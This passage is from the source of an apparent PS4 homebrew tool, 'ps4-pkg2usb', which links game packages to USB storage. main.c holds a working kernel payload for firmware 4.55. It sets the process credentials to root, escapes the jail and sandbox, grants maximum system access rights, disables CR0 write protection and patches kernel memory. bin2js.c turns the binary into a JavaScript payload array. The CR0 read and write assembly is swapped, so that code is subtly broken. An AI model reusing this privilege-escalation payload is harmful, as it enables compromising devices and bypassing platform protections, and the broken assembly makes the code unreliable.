267 | if (file_exists(app_pkg_hdd_path)) {
268 | sprintf(msg, "Checking app.pkg in %s successed!\n", app_pkg_hdd_path);
269 | printfsocket(msg);
270 |
271 | #ifndef DEBUG_SOCKET
272 | notify(msg);
273 | sceKernelSleep(5);
274 | #endif
275 | }
276 | }
--------------------------------------------------------------------------------
/source/main.c:
--------------------------------------------------------------------------------
1 | #include "ps4.h"
2 | #include "defines.h"
3 | #include "main.h"
4 | #include "debug.h"
5 | #include "utils.h"
6 | #include "cfg.h"
7 | #include "link.h"
8 |
9 | int nthread_run;
10 |
11 | configuration config;
12 |
13 | unsigned int long long __readmsr(unsigned long __register) {
14 | unsigned long __edx;
15 | unsigned long __eax;
16 | __asm__ ("rdmsr" : "=d"(__edx), "=a"(__eax) : "c"(__register));
17 | return (((unsigned int long long)__edx) << 32) | (unsigned int long long)__eax;
18 | }
19 |
20 | #define X86_CR0_WP (1 << 16)
21 |
22 | static inline __attribute__((always_inline)) uint64_t readCr0(void) {
23 | uint64_t cr0;
24 |
25 | asm volatile (
26 | "movq %0, %%cr0"
27 | : "=r" (cr0)
28 | : : "memory"
29 | );
30 |
31 | return cr0;
32 | }
33 |
34 | static inline __attribute__((always_inline)) void writeCr0(uint64_t cr0) {
35 | asm volatile (
36 | "movq %%cr0, %0"
37 | : : "r" (cr0)
38 | : "memory"
39 | );
40 | }
41 |
42 | struct auditinfo_addr {
43 | char useless[184];
44 | };
45 |
46 | struct ucred {
47 | uint32_t useless1;
48 | uint32_t cr_uid; // effective user id
49 | uint32_t cr_ruid; // real user id
50 | uint32_t useless2;
51 | uint32_t useless3;
52 | uint32_t cr_rgid; // real group id
53 | uint32_t useless4;
54 | void *useless5;
55 | void *useless6;
56 | void *cr_prison; // jail(2)
57 | void *useless7;
58 | uint32_t useless8;
59 | void *useless9[2];
60 | void *useless10;
61 | struct auditinfo_addr useless11;
62 | uint32_t *cr_groups; // groups
63 | uint32_t useless12;
64 | };
65 |
66 | struct filedesc {
67 | void *useless1[3];
68 | void *fd_rdir;
69 | void *fd_jdir;
70 | };
71 |
72 | struct proc {
73 | char useless[64];
74 | struct ucred *p_ucred;
75 | struct filedesc *p_fd;
76 | };
77 |
78 | struct thread {
79 | void *useless;
80 | struct proc *td_proc;
81 | };
82 |
83 | #define KERN_XFAST_SYSCALL 0x3095D0 // 4.55
84 | #define KERN_PRISON_0 0x10399B0
85 | #define KERN_ROOTVNODE 0x21AFA30
86 |
87 | int kpayload(struct thread *td){
88 |
89 | struct ucred* cred;
90 | struct filedesc* fd;
91 |
92 | fd = td->td_proc->p_fd;
93 | cred = td->td_proc->p_ucred;
94 |
95 | void* kernel_base = &((uint8_t*)__readmsr(0xC0000082))[-KERN_XFAST_SYSCALL];
96 | uint8_t* kernel_ptr = (uint8_t*)kernel_base;
97 | void** got_prison0 = (void**)&kernel_ptr[KERN_PRISON_0];
98 | void** got_rootvnode = (void**)&kernel_ptr[KERN_ROOTVNODE];
99 |
100 | cred->cr_uid = 0;
101 | cred->cr_ruid = 0;
102 | cred->cr_rgid = 0;
103 | cred->cr_groups[0] = 0;
104 |
105 | cred->cr_prison = *got_prison0;
106 | fd->fd_rdir = fd->fd_jdir = *got_rootvnode;
107 |
108 | // escalate ucred privs, needed for access to the filesystem ie* mounting & decrypting files
109 | void *td_ucred = *(void **)(((char *)td) + 304); // p_ucred == td_ucred
110 |
111 | // sceSblACMgrIsSystemUcred
112 | uint64_t *sonyCred = (uint64_t *)(((char *)td_ucred) + 96);
113 | *sonyCred = 0xffffffffffffffff;
114 |
115 | // sceSblACMgrGetDeviceAccessType
116 | uint64_t *sceProcType = (uint64_t *)(((char *)td_ucred) + 88);
117 | *sceProcType = 0x3801000000000013; // Max access
118 |
119 | // sceSblACMgrHasSceProcessCapability
120 | uint64_t *sceProcCap = (uint64_t *)(((char *)td_ucred) + 104);
121 | *sceProcCap = 0xffffffffffffffff; // Sce Process
122 |
123 | // Disable write protection
124 | uint64_t cr0 = readCr0();
125 | writeCr0(cr0 & ~X86_CR0_WP);
126 |
127 | // debug settings patchs
128 | *(char *)(kernel_base + 0x1B6D086) |= 0x14;
129 | *(char *)(kernel_base + 0x1B6D0A9) |= 3;
130 | *(char *)(kernel_base + 0x1B6D0AA) |= 1;
131 | *(char *)(kernel_base + 0x1B6D0C8) |= 1;
132 |
133 | // debug menu full patches
134 | *(uint32_t *)(kernel_base + 0x4D70F7) = 0;
135 | *(uint32_t *)(kernel_base + 0x4D7F81) = 0;
136 |
137 | // enable mmap of all SELF
138 | *(uint8_t*)(kernel_base + 0x143BF2) = 0x90;
139 | *(uint8_t*)(kernel_base + 0x143BF3) = 0xE9;
140 | *(uint8_t*)(kernel_base + 0x143E0E) = 0x90;
141 | *(uint8_t*)(kernel_base + 0x143E0F) = 0x90;
142 |
143 | // Restore write protection
144 | writeCr0(cr0);
145 |
146 | return 0;
147 | }
148 |
149 | void *nthread_func(void *arg)
150 | {
151 | time_t t1 = 0, t2;
152 |
153 | while (nthread_run)
154 | {
155 | if (notify_buf[0])
156 | {
157 | t2 = time(NULL);
158 | if ((t2 - t1) >= config.notify)
159 | {
160 | t1 = t2;
161 | notify(notify_buf);
162 | printfsocket(notify_buf);
163 | }
164 | }
165 | else t1 = 0;
166 | sceKernelSleep(1);
167 | }
168 |
169 | return NULL;
170 | }
171 |
172 |
173 |
174 | static int config_handler(void* user, const char* name, const char* value)
175 | {
176 | configuration* pconfig = (configuration*)user;
177 |
178 | #define MATCH(n) strcmp(name, n) == 0
179 | if (MATCH("title_id")) {
180 | pconfig->title_id = chop(strdup(value));
181 | } else
182 | if (MATCH("copy")) {
183 | pconfig->copy = atoi(value);
184 | } else
185 | if (MATCH("notify")) {
186 | pconfig->notify = atoi(value);
187 | } else
188 | if (MATCH("shutdown")) {
189 | pconfig->shutdown = atoi(value);
190 | };
191 |
192 | return 1;
193 | }
194 |
195 | int _main(struct thread *td)
196 | {
197 | char title_id[64];
198 | char usb_name[64];
199 | char usb_path[64];
200 | char cfg_path[64];
201 | char msg[64];
202 | //int progress;
203 |
204 | // Init and resolve libraries
205 | initKernel();
206 | initLibc();
207 | initPthread();
208 |
209 | #ifdef DEBUG_SOCKET
210 | initNetwork();
211 | initDebugSocket();
212 | #endif
213 |
214 | // patch some things in the kernel (sandbox, prison, debug settings etc..)
215 | syscall(11,kpayload,td);
216 |
217 | initSysUtil();
218 |
219 | config.title_id = "";
220 | config.copy = 1;
221 | //config.split = 0;
222 | config.notify = 60;
223 | config.shutdown = 0;
224 |
225 | nthread_run = 1;
226 | notify_buf[0] = '\0';
227 | ScePthread nthread;
228 | scePthreadCreate(&nthread, NULL, nthread_func, NULL, "nthread");
229 |
230 | notify("Welcome to ps4-pkg2usb v"VERSION);
231 | sceKernelSleep(5);
232 |
233 | if (!wait_for_usb(usb_name, usb_path))
234 | {
235 | sprintf(notify_buf, "Waiting for USB disk...");
236 | do {
237 | sceKernelSleep(1);
238 | }
239 | while (!wait_for_usb(usb_name, usb_path));
240 | notify_buf[0] = '\0';
241 | }
242 |
243 | sprintf(cfg_path, "%s/%s", usb_path, CONFIG_FILE);
244 |
245 | if (!file_exists(cfg_path)) {
246 | sprintf(msg, "Error: %s is missing!", CONFIG_FILE);
247 | notify(msg);
248 | return -1;
249 | }
250 |
251 | cfg_parse(cfg_path, config_handler, &config);
252 |
253 | sprintf(title_id, config.title_id);
254 |
255 | if (strlen(title_id) == 0) {
256 | sprintf(msg, "Error: title_id is missing in config!");
257 | notify(msg);
258 | return -1;
259 | }
260 |
261 | link_pkg(title_id, usb_path);
262 |
263 | nthread_run = 0;
264 |
265 | printfsocket("Bye!\n\n");
266 |
267 | #ifdef DEBUG_SOCKET
268 | closeDebugSocket();
269 | #endif
270 |
271 | // Reboot PS4
272 | if (config.shutdown)
273 | {
274 | int evf = syscall(540, "SceSysCoreReboot");
275 | syscall(546, evf, 0x4000, 0);
276 | syscall(541, evf);
277 | syscall(37, 1, 30);
278 | }
279 |
280 | return 0;
281 | }
282 |
--------------------------------------------------------------------------------
/source/pkg.c:
--------------------------------------------------------------------------------
1 | // Copyright (C) 2013 Hykem
2 | // Licensed under the terms of the GNU GPL, version 2
3 | // http://www.gnu.org/licenses/gpl-2.0.txt
4 |
5 | #include "ps4.h"
6 | #include "defines.h"
7 | #include "debug.h"
8 | #include "pkg.h"
9 |
10 | #define EOF '\00'
11 |
12 | // Helper functions.
13 | static inline uint16_t bswap_16(uint16_t val)
14 | {
15 | return ((val & (uint16_t)0x00ffU) << 8)
16 | | ((val & (uint16_t)0xff00U) >> 8);
17 | }
18 |
19 | static inline uint32_t bswap_32(uint32_t val)
20 | {
21 | return ((val & (uint32_t)0x000000ffUL) << 24)
22 | | ((val & (uint32_t)0x0000ff00UL) << 8)
23 | | ((val & (uint32_t)0x00ff0000UL) >> 8)
24 | | ((val & (uint32_t)0xff000000UL) >> 24);
25 | }
26 |
27 | int isfpkg(char *pkgfn) {
28 | int result = 0;
29 |
30 | FILE *in = NULL;
31 | struct cnt_pkg_main_header m_header;
32 | struct cnt_pkg_content_header c_header;
33 | memset(&m_header, 0, sizeof(struct cnt_pkg_main_header));
34 | memset(&c_header, 0, sizeof(struct cnt_pkg_content_header));
35 |
36 | if ((in = fopen(pkgfn, "rb")) == NULL)
37 | {
38 | //printfsocket("File not found!\n");
39 | result = 1;
40 | goto exit;
41 | }
42 |
43 | fseek(in, 0, SEEK_SET);
44 | fread(&m_header, 1, 0x180, in);
45 |
46 | if (m_header.magic != PS4_PKG_MAGIC)
47 | {
48 | //printfsocket("Invalid PS4 PKG Magic file!\n");
49 | result = 2;
50 | goto exit;
51 | }
52 |
53 | if (bswap_32(m_header.type) != 1)
54 | {
55 | //printfsocket("Invalid PS4 PKG Type file!\n");
56 | result = 3;
57 | goto exit;
58 | }
59 |
60 | /*
61 | printfsocket("PS4 PKG header:\n");
62 | printfsocket("- PKG magic: 0x%X\n", bswap_32(m_header.magic));
63 | printfsocket("- PKG type: 0x%X\n", bswap_32(m_header.type));
64 | printfsocket("- PKG table entries: %d\n", bswap_16(m_header.table_entries_num));
65 | printfsocket("- PKG system entries: %d\n", bswap_16(m_header.system_entries_num));
66 | printfsocket("- PKG table offset: 0x%X\n", bswap_32(m_header.file_table_offset));
67 | printfsocket("\n");
68 | */
69 |
70 | exit:
71 | fclose(in);
72 |
73 | return result;
74 | }
--------------------------------------------------------------------------------
/source/utils.c:
--------------------------------------------------------------------------------
1 | #include "ps4.h"
2 | #include "defines.h"
3 | #include "debug.h"
4 | #include "utils.h"
5 | #include "main.h"
6 | #include "elf64.h"
7 | #include "pkg.h"
8 |
9 | #define TRUE 1
10 | #define FALSE 0
11 |
12 | #define BUFFER_SIZE 65536
13 |
14 | extern int run;
15 |
16 | int symlink(const char *pathname, const char *slink) {
17 | return syscall(57, pathname, slink);
18 | }
19 |
20 | int symlinkat(const char *pathname, int newdirfd, const char *slink) {
21 | return syscall(502, pathname, newdirfd, slink);
22 | }
23 |
24 | int lstat(const char *pathname, struct stat *buf) {
25 | return syscall(190, pathname, buf); //40 old syscall
26 | }
27 |
28 | int wait_for_usb(char *usb_name, char *usb_path)
29 | {
30 | FILE *out = fopen("/mnt/usb0/.probe", "wb");
31 | if (!out)
32 | {
33 | out = fopen("/mnt/usb1/.probe", "wb");
34 | if (!out)
35 | {
36 | return 0;
37 | }
38 | else
39 | {
40 | unlink("/mnt/usb1/.probe");
41 | sprintf(usb_name, "%s", "USB1");
42 | sprintf(usb_path, "%s", "/mnt/usb1");
43 | }
44 | }
45 | else
46 | {
47 | unlink("/mnt/usb0/.probe");
48 | sprintf(usb_name, "%s", "USB0");
49 | sprintf(usb_path, "%s", "/mnt/usb0");
50 | }
51 | fclose(out);
52 |
53 | return 1;
54 | }
55 |
56 | off_t file_size(const char *filename) {
57 | struct stat st;
58 |
59 | if (stat(filename, &st) == 0)
60 | return st.st_size;
61 |
62 | return -1;
63 | }
64 |
65 | int file_exists(char *fname)
66 | {
67 | FILE *file = fopen(fname, "rb");
68 | if (file)
69 | {
70 | fclose(file);
71 | return 1;
72 | }
73 | return 0;
74 | }
75 |
76 | int dir_exists(char *dname)
77 | {
78 | DIR *dir = opendir(dname);
79 |
80 | if (dir)
81 | {
82 | /* Directory exists. */
83 | closedir(dir);
84 | return 1;
85 | }
86 | return 0;
87 | }
88 |
89 | int symlink_exists(const char* fname)
90 | {
91 | struct stat statbuf;
92 |
93 | if (lstat(fname, &statbuf) < 0) {
94 | //error occured
95 | return -1;
96 | }
97 |
98 | if (S_ISLNK(statbuf.st_mode) == 1) {
99 | //symbolic link;
100 | return 1;
101 | } else {
102 | //NOT a symbolic link;
103 | return 0;
104 | }
105 | }
106 |
107 | char* chop(char *string)
108 | {
109 | char *ptr;
110 |
111 | ptr = strrchr(string, '\r');
112 | if (ptr) *ptr = '\0';
113 |
114 | ptr = strrchr(string, '\n');
115 | if (ptr) *ptr = '\0';
116 |
117 | return string;
118 | }
119 |
120 | /*
121 | void _mkdir(const char *dir)
122 | {
123 | char tmp[256];
124 | char *p = NULL;
125 |
126 | snprintf(tmp, sizeof(tmp), "%s", dir);
127 | for (p = tmp + 1; *p; p++)
128 | {
129 | if (*p == '/')
130 | {
131 | *p = 0;
132 | mkdir(tmp, 0777);
133 | *p = '/';
134 | }
135 | }
136 | }
137 |
138 | char *read_string(FILE* f)
139 | {
140 | char *string = malloc(sizeof(char) * 256);
141 | int c;
142 | int length = 0;
143 | if (!string) return string;
144 | while((c = fgetc(f)) != EOF)
145 | {
146 | string[length++] = c;
147 | }
148 | string[length++] = '\0';
149 |
150 | return realloc(string, sizeof(char) * length);
151 | }
152 |
153 | static inline int fgetc(FILE *fp)
154 | {
155 | char c;
156 |
157 | if (fread(&c, 1, 1, fp) == 0)
158 | return (EOF);
159 | return (c);
160 | }
161 | */
--------------------------------------------------------------------------------
/tool/Makefile:
--------------------------------------------------------------------------------
1 | all: bin2js
2 |
3 | bin2js: bin2js.c
4 | gcc -o bin2js bin2js.c
5 |
6 | .PHONY: clean
7 |
8 | clean:
9 | rm bin2js
10 |
--------------------------------------------------------------------------------
/tool/bin2js.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 |
7 | int main(int argc, char** argv)
8 | {
9 | assert(argc == 2);
10 | char* fn = argv[1];
11 | FILE* f = fopen(fn, "r");
12 | fseek(f, 0, SEEK_END);
13 | int l = ftell(f);
14 | int ll = (l + 3) / 4;
15 | fseek(f, 0, SEEK_SET);
16 | char *b = malloc(ll * 4);
17 | memset(b, 0, ll * 4);
18 | fread(b, l, 1, f);
19 | fclose(f);
20 | uint32_t *u = (uint32_t *)b;
21 | printf("var payload = [");
22 | for (int i = 0; i < ll; i++)
23 | {
24 | printf("%u", *u++);
25 | if (i < (ll - 1)) printf(",");
26 | }
27 | printf("];\n");
28 | free(b);
29 | }
30 |
--------------------------------------------------------------------------------